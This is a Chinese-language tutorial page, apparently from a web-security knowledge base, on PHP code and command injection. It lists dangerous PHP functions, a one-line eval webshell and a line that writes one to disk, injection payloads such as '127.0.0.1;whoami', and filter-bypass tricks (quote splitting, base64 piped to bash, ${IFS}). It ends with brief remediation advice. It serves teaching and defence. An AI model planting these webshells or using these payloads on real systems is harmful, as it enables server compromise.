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class="sidebar-links sidebar-group-items"><li><a href="/knowledge/web/" aria-current="page" title="分类简介" class="sidebar-link">分类简介</a></li><li><a href="/knowledge/web/unauthorized.html" title="未授权访问总结" class="sidebar-link">未授权访问总结</a></li><li><a href="/knowledge/web/infoleak.html" title="信息泄露漏洞" class="sidebar-link">信息泄露漏洞</a></li><li><a href="/knowledge/web/fileuploads.html" title="文件上传漏洞" class="sidebar-link">文件上传漏洞</a></li><li><a href="/knowledge/web/fileincludes.html" title="文件包含漏洞" class="sidebar-link">文件包含漏洞</a></li><li><a href="/knowledge/web/cmd_injection.html" aria-current="page" title="命令注入漏洞" class="active sidebar-link">命令注入漏洞</a></li><li><a href="/knowledge/web/logical.html" title="常见逻辑漏洞" class="sidebar-link">常见逻辑漏洞</a></li><li><a href="/knowledge/web/csrf-ssrf.html" title="请求伪造漏洞" class="sidebar-link">请求伪造漏洞</a></li><li><a href="/knowledge/web/same-origin-policy.html" title="同源策略和域安全" class="sidebar-link">同源策略和域安全</a></li><li><a href="/knowledge/web/xss.html" title="XSS 跨站脚本漏洞" class="sidebar-link">XSS 跨站脚本漏洞</a></li><li><a href="/knowledge/web/xxe.html" title="XML实体注入漏洞" class="sidebar-link">XML实体注入漏洞</a></li><li><a href="/knowledge/web/sql_injection.html" title="SQL注入漏洞" class="sidebar-link">SQL注入漏洞</a></li><li><a href="/knowledge/web/mysql-write-shell.html" title="MySQL写shell" class="sidebar-link">MySQL写shell</a></li><li><a href="/knowledge/web/websocket-sec.html" title="WebSocket安全问题分析" class="sidebar-link">WebSocket安全问题分析</a></li></ul></section></li><li><section class="sidebar-group collapsable depth-0"><p class="sidebar-heading"><span>攻防对抗</span> <span class="arrow right"><i aria-label="icon: down" class="anticon anticon-down"><svg viewBox="64 64 896 896" focusable="false" data-icon="down" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M884 256h-75c-5.1 0-9.9 2.5-12.9 6.6L512 654.2 227.9 262.6c-3-4.1-7.8-6.6-12.9-6.6h-75c-6.5 0-10.3 7.4-6.5 12.7l352.6 486.1c12.8 17.6 39 17.6 51.7 0l352.6-486.1c3.9-5.3.1-12.7-6.4-12.7z"></path></svg></i></span></p> <!----></section></li><li><section class="sidebar-group collapsable depth-0"><p class="sidebar-heading"><span>代码审计</span> <span class="arrow right"><i aria-label="icon: down" class="anticon anticon-down"><svg viewBox="64 64 896 896" focusable="false" data-icon="down" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M884 256h-75c-5.1 0-9.9 2.5-12.9 6.6L512 654.2 227.9 262.6c-3-4.1-7.8-6.6-12.9-6.6h-75c-6.5 0-10.3 7.4-6.5 12.7l352.6 486.1c12.8 17.6 39 17.6 51.7 0l352.6-486.1c3.9-5.3.1-12.7-6.4-12.7z"></path></svg></i></span></p> <!----></section></li></ul></aside> <main class="page"> <div class="theme-antdocs-content content__default"><blockquote><p>代码执行：可执行脚本语言代码</p> <p>命令执行：可执行系统(Linux、windows)命令</p></blockquote> <h2 id="php敏感函数代码执行">PHP敏感函数代码执行 <a href="#php敏感函数代码执行" class="header-anchor">#</a></h2> <div class="language-php line-numbers-mode"><pre class="language-php"><code><span class="token keyword">eval</span><span class="token punctuation">(</span><span class="token punctuation">)</span>		<span class="token comment">//把字符串作为PHP代码执行</span>
<span class="token function">assert</span><span class="token punctuation">(</span><span class="token punctuation">)</span>	<span class="token comment">//检查一个断言是否为 FALSE，可用来执行代码</span>
<span class="token function">preg_replace</span><span class="token punctuation">(</span><span class="token punctuation">)</span>	<span class="token comment">//执行一个正则表达式的搜索和替换</span>
<span class="token function">call_user_func</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token comment">//把第一个参数作为回调函数调用</span>
<span class="token function">call_user_func_array</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token comment">//调用回调函数，并把一个数组参数作为回调函数的参数</span>
<span class="token function">array_map</span><span class="token punctuation">(</span><span class="token punctuation">)</span>		<span class="token comment">//为数组的每个元素应用回调函数 </span>
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br><span class="line-number">2</span><br><span class="line-number">3</span><br><span class="line-number">4</span><br><span class="line-number">5</span><br><span class="line-number">6</span><br></div></div><p><strong>eval：</strong></p> <div class="language-php line-numbers-mode"><pre class="language-php"><code><span class="token php language-php"><span class="token delimiter important">&lt;?php</span> @<span class="token keyword">eval</span><span class="token punctuation">(</span><span class="token variable">$_POST</span><span class="token punctuation">[</span><span class="token double-quoted-string string">&quot;arg&quot;</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token delimiter important">?&gt;</span></span>
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br></div></div><p>eval函数会将提交上来的值作为PHP代码处理，可以提交phpinfo(); 或者生成一句话shell</p> <div class="language-php line-numbers-mode"><pre class="language-php"><code>fputs(fopen('shell.php','w+'),'<span class="token php language-php"><span class="token delimiter important">&lt;?php</span> @<span class="token keyword">eval</span><span class="token punctuation">(</span><span class="token variable">$_POST</span><span class="token punctuation">[</span>pass<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token delimiter important">?&gt;</span></span>');
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br></div></div><p><strong>preg_replace：(5.5版本以上已废弃/e修饰符)</strong></p> <div class="language-php line-numbers-mode"><pre class="language-php"><code><span class="token php language-php"><span class="token delimiter important">&lt;?php</span> <span class="token function">preg_replace</span><span class="token punctuation">(</span><span class="token double-quoted-string string">&quot;//e&quot;</span><span class="token punctuation">,</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token single-quoted-string string">'arg'</span><span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token double-quoted-string string">&quot;start testing...&quot;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token delimiter important">?&gt;</span></span>
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br></div></div><p>当replacement 参数构成一个合理的php代码字符串的时候，/e 修正符将参数当做php代码执行</p> <p><strong>create_function:</strong></p> <div class="language-php line-numbers-mode"><pre class="language-php"><code><span class="token php language-php"><span class="token delimiter important">&lt;?php</span> <span class="token variable">$test</span><span class="token operator">=</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token double-quoted-string string">&quot;test&quot;</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token variable">$new_func</span><span class="token operator">=</span><span class="token function">create_function</span><span class="token punctuation">(</span><span class="token single-quoted-string string">'$a,$b'</span><span class="token punctuation">,</span> <span class="token variable">$test</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token variable">$new_func</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">,</span><span class="token constant">M_E</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token delimiter important">?&gt;</span></span>
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br></div></div><p>在php 中使用create_function创建一个匿名函数（lambda-style） 如未对参数进行严格的过滤审查，可以通过提交特殊字符串给create_function执行任意代码.</p> <p><strong>使用<code>${${ }}</code>简单绕过：</strong></p> <div class="language-php line-numbers-mode"><pre class="language-php"><code><span class="token php language-php"><span class="token delimiter important">&lt;?php</span> <span class="token variable">$str</span><span class="token operator">=</span><span class="token double-quoted-string string">&quot;echo \&quot;Hello &quot;</span><span class="token punctuation">.</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token double-quoted-string string">&quot;arg&quot;</span><span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token double-quoted-string string">&quot;!!\&quot;; &quot;</span><span class="token punctuation">;</span><span class="token keyword">eval</span><span class="token punctuation">(</span><span class="token variable">$str</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token delimiter important">?&gt;</span></span>
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br></div></div><p>代码使用反斜杠将echo后面的内容给转义了 与加addslashes()函数进行过滤是一样的 payload：<code>arg=${${phpinfo()}}</code></p> <h2 id="php程序执行函数"><a href="https://www.php.net/manual/zh/ref.exec.php" target="_blank" rel="noopener noreferrer">PHP程序执行函数<span><svg xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false" x="0px" y="0px" viewBox="0 0 100 100" width="15" height="15" class="icon outbound"><path fill="currentColor" d="M18.8,85.1h56l0,0c2.2,0,4-1.8,4-4v-32h-8v28h-48v-48h28v-8h-32l0,0c-2.2,0-4,1.8-4,4v56C14.8,83.3,16.6,85.1,18.8,85.1z"></path> <polygon fill="currentColor" points="45.7,48.7 51.3,54.3 77.2,28.5 77.2,37.2 85.2,37.2 85.2,14.9 62.8,14.9 62.8,22.9 71.5,22.9"></polygon></svg> <span class="sr-only">(opens new window)</span></span></a> <a href="#php程序执行函数" class="header-anchor">#</a></h2> <div class="language-php line-numbers-mode"><pre class="language-php"><code><span class="token function">system</span><span class="token punctuation">(</span><span class="token punctuation">)</span>		<span class="token comment">//执行外部程序，并且显示输出</span>
<span class="token function">exec</span><span class="token punctuation">(</span><span class="token punctuation">)</span>			<span class="token comment">//执行一个外部程序</span>
<span class="token function">shell_exec</span><span class="token punctuation">(</span><span class="token punctuation">)</span>	<span class="token comment">//通过 shell 环境执行命令，并且将完整的输出以字符串的方式返回</span>
<span class="token function">passthru</span><span class="token punctuation">(</span><span class="token punctuation">)</span>		<span class="token comment">//执行外部程序并且显示原始输出</span>
<span class="token function">pcntl_exec</span><span class="token punctuation">(</span><span class="token punctuation">)</span>	<span class="token comment">//在当前进程空间执行指定程序</span>
<span class="token function">popen</span><span class="token punctuation">(</span><span class="token punctuation">)</span>			<span class="token comment">//打开进程文件指针</span>
<span class="token function">proc_open</span><span class="token punctuation">(</span><span class="token punctuation">)</span>		<span class="token comment">//执行一个命令，并且打开用来输入/输出的文件指针</span>
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br><span class="line-number">2</span><br><span class="line-number">3</span><br><span class="line-number">4</span><br><span class="line-number">5</span><br><span class="line-number">6</span><br><span class="line-number">7</span><br></div></div><p>最简单的例子：</p> <div class="language- line-numbers-mode"><pre class="language-text"><code>&lt;?php $test = $_GET['cmd']; system($test); ?&gt;
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br></div></div><p>payload：<code>?cmd=whoami</code>  这样即可执行系统命令</p> <p><strong>举一个类似DVWA里边的例子：</strong></p> <div class="language- line-numbers-mode"><pre class="language-text"><code>&lt;?php$test = $_GET['cmd'];system(&quot;ping -c 3 &quot; . $test);?&gt;
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br></div></div><p>payload：<code>?cmd=127.0.0.1;whoami</code></p> <p><strong>命令分隔符：</strong></p> <p><strong>在Linux上</strong>，上面的 ; 也可以用 |、|| 代替</p> <blockquote><p>;前面的执行完执行后面的</p> <p>|是管道符，显示后面的执行结果</p> <p>||当前面的执行出错时执行后面的</p> <p>可用**%0A**换行执行命令</p></blockquote> <p><strong>在Windows上</strong>，不能用 ; 可以用&amp;、&amp;&amp;、|、||代替</p> <blockquote><p>&amp;前面的语句为假则直接执行后面的</p> <p>&amp;&amp;前面的语句为假则直接出错，后面的也不执行</p> <p>|直接执行后面的语句</p> <p>||前面出错执行后面的</p></blockquote> <p>PHP 支持一个执行运算符：反引号（``） PHP 将尝试将反引号中的内容作为 shell 命令来执行，并将其输出信息返回</p> <div class="language-php line-numbers-mode"><pre class="language-php"><code> <span class="token php language-php"><span class="token delimiter important">&lt;?php</span> <span class="token keyword">echo</span> `whoami`<span class="token punctuation">;</span><span class="token delimiter important">?&gt;</span></span>
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br></div></div><p>效果与函数 shell_exec() 相同，都是以字符串的形式返回一个命令的执行结果，可以保存到变量中</p> <h2 id="命令执行绕过技巧">命令执行绕过技巧 <a href="#命令执行绕过技巧" class="header-anchor">#</a></h2> <p><strong>正则审查</strong></p> <blockquote><p>是否使用多行模式修饰符（/foo/m）</p> <p>是否遗漏匹配对象末尾的换行符（/^\d+$/）</p> <p>是否允许空白字符（\s）</p> <p>是否误写反斜杠匹配模式（/\/）</p></blockquote> <p>可用**%0A<strong>换行执行命令，换行符自身是一个有效的</strong>目录分隔符**</p> <div class="language-bash line-numbers-mode"><pre class="language-bash"><code><span class="token function">cat</span> <span class="token number">123</span>/flag
<span class="token function">cat</span> <span class="token number">123</span>%0A flag
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br><span class="line-number">2</span><br></div></div><p><strong>黑名单绕过</strong></p> <div class="language-php line-numbers-mode"><pre class="language-php"><code><span class="token php language-php"><span class="token delimiter important">&lt;?php</span>
<span class="token variable">$test</span> <span class="token operator">=</span> <span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token single-quoted-string string">'cmd'</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
<span class="token variable">$test</span> <span class="token operator">=</span> <span class="token function">str_replace</span><span class="token punctuation">(</span><span class="token double-quoted-string string">&quot;cat&quot;</span><span class="token punctuation">,</span> <span class="token double-quoted-string string">&quot;&quot;</span><span class="token punctuation">,</span> <span class="token variable">$test</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token variable">$test</span> <span class="token operator">=</span> <span class="token function">str_replace</span><span class="token punctuation">(</span><span class="token double-quoted-string string">&quot;ls&quot;</span><span class="token punctuation">,</span> <span class="token double-quoted-string string">&quot;&quot;</span><span class="token punctuation">,</span> <span class="token variable">$test</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token variable">$test</span> <span class="token operator">=</span> <span class="token function">str_replace</span><span class="token punctuation">(</span><span class="token double-quoted-string string">&quot; &quot;</span><span class="token punctuation">,</span> <span class="token double-quoted-string string">&quot;&quot;</span><span class="token punctuation">,</span> <span class="token variable">$test</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token variable">$test</span> <span class="token operator">=</span> <span class="token function">str_replace</span><span class="token punctuation">(</span><span class="token double-quoted-string string">&quot;pwd&quot;</span><span class="token punctuation">,</span> <span class="token double-quoted-string string">&quot;&quot;</span><span class="token punctuation">,</span> <span class="token variable">$test</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token variable">$test</span> <span class="token operator">=</span> <span class="token function">str_replace</span><span class="token punctuation">(</span><span class="token double-quoted-string string">&quot;wget&quot;</span><span class="token punctuation">,</span> <span class="token double-quoted-string string">&quot;&quot;</span><span class="token punctuation">,</span> <span class="token variable">$test</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token function">var_dump</span><span class="token punctuation">(</span><span class="token variable">$test</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token function">system</span><span class="token punctuation">(</span><span class="token double-quoted-string string">&quot;ls -al '<span class="token interpolation"><span class="token variable">$test</span></span>'&quot;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token delimiter important">?&gt;</span></span>
</code></pre> <div class="line-numbers-wrapper"><span class="line-number">1</span><br><span class="line-number">2</span><br><span class="line-number">3</span><br><span class="line-number">4</span><br><span class="line-number">5</span><br><span class="line-number">6</span><br><span class="line-number">7</span><br><span class="line-number">8</span><br><span class="line-number">9</span><br><span class="line-number">10</span><br></div></div><p>**shell特殊变量：**ca$1t、ca$@t fla$@g</p> <p><strong>单引号、双引号：</strong> c&quot;&quot;at、ca''t、<strong>反斜线</strong> c\at</p> <p><strong>base64编码：</strong><code>echo &quot;Y2F0IGZsYWc=&quot;|base64 -d|bash</code>、<strong>Hex编码：</strong> echo &quot;63617420666c6167&quot; | xxd -r -p|bash</p> <p><strong>利用变量：</strong> 执行ls命令： a=l;b=s;$a$b	<strong>cat 1.php文件内容：</strong> a=c;b=at;c=1.php;$a$b ${c}</p> <p><strong>绕过空格</strong></p> <blockquote><p>用**${IFS}**代替</p> <p>读取文件的时候利用重<strong>定向符cat&lt;flag</strong></p> <p>花括号无空格**{cat,666.txt}**</p></blockquote> <p><code>$IFS</code>可截断后边的内容，<code>cat flag$IFS666.txt</code></p> <p><strong>长度限制</strong>，通过构造文件来绕过</p> <blockquote><p>linux下可以用 1&gt;a创建文件名为a的空文件
<code>ls -t&gt;test</code>则会将目录按时间排序后写进test文件中
sh命令可以从一个文件中读取命令来执行</p></blockquote> <p><strong>引号逃逸</strong></p> <p>恶意命令被扩在引号内，可用 \ 转义引号逃逸</p> <h2 id="修复方式">修复方式 <a href="#修复方式" class="header-anchor">#</a></h2> <blockquote><p>1、尽量不要使用以上的代码/命令执行函数</p> <p>2、使用disable_funtion()禁用以上函数</p> <p>3、过滤所有能当作命令分隔符使用的字符</p></blockquote></div> <footer class="page-edit"><!----> <div class="last-updated"><span class="prefix">上次更新:</span> <span class="time">12/18/2021, 12:46:42 PM</span></div></footer> <div class="page-nav"><p class="inner"><span class="prev"><a href="/knowledge/web/fileincludes.html" class="prev"><i aria-label="icon: left" class="anticon anticon-left"><svg viewBox="64 64 896 896" focusable="false" data-icon="left" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M724 218.3V141c0-6.7-7.7-10.4-12.9-6.3L260.3 486.8a31.86 31.86 0 0 0 0 50.3l450.8 352.1c5.3 4.1 12.9.4 12.9-6.3v-77.3c0-4.9-2.3-9.6-6.1-12.6l-360-281 360-281.1c3.8-3 6.1-7.7 6.1-12.6z"></path></svg></i>
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